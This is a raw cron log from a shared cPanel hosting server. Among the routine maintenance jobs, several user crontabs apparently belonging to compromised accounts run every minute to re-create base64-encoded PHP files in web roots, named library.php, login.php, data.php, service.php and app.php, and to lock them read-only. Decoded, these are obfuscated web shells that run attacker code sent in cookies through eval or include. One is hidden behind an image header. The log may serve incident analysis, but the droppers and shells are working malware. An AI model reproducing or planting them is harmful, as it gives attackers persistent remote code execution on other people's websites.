Mar  2 05:55:02 medusa CROND[28149]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:55:02 medusa CROND[28150]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 05:55:02 medusa CROND[28143]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 05:55:02 medusa CROND[28151]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 05:55:02 medusa CROND[28155]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:55:02 medusa CROND[28165]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:55:02 medusa CROND[28167]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 05:55:02 medusa CROND[28169]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 05:55:02 medusa CROND[28173]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 05:55:02 medusa CROND[28168]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 05:55:02 medusa CROND[28177]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 05:55:02 medusa CROND[28180]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 05:56:01 medusa CROND[15172]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 05:56:01 medusa CROND[15374]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 05:56:01 medusa CROND[15373]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 05:56:01 medusa CROND[15438]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 05:56:01 medusa CROND[15444]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:56:01 medusa CROND[15446]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 05:56:01 medusa CROND[15447]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 05:56:01 medusa CROND[15448]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 05:56:01 medusa CROND[15445]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 05:56:01 medusa CROND[15453]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:56:01 medusa CROND[15457]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 05:56:01 medusa CROND[15472]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 05:56:01 medusa CROND[15474]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:56:01 medusa CROND[15475]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:57:01 medusa CROND[3465]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 05:57:01 medusa CROND[3689]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 05:57:01 medusa CROND[3691]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 05:57:01 medusa CROND[3692]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 05:57:01 medusa CROND[3693]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:57:01 medusa CROND[3695]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:57:01 medusa CROND[3699]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 05:57:01 medusa CROND[3701]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
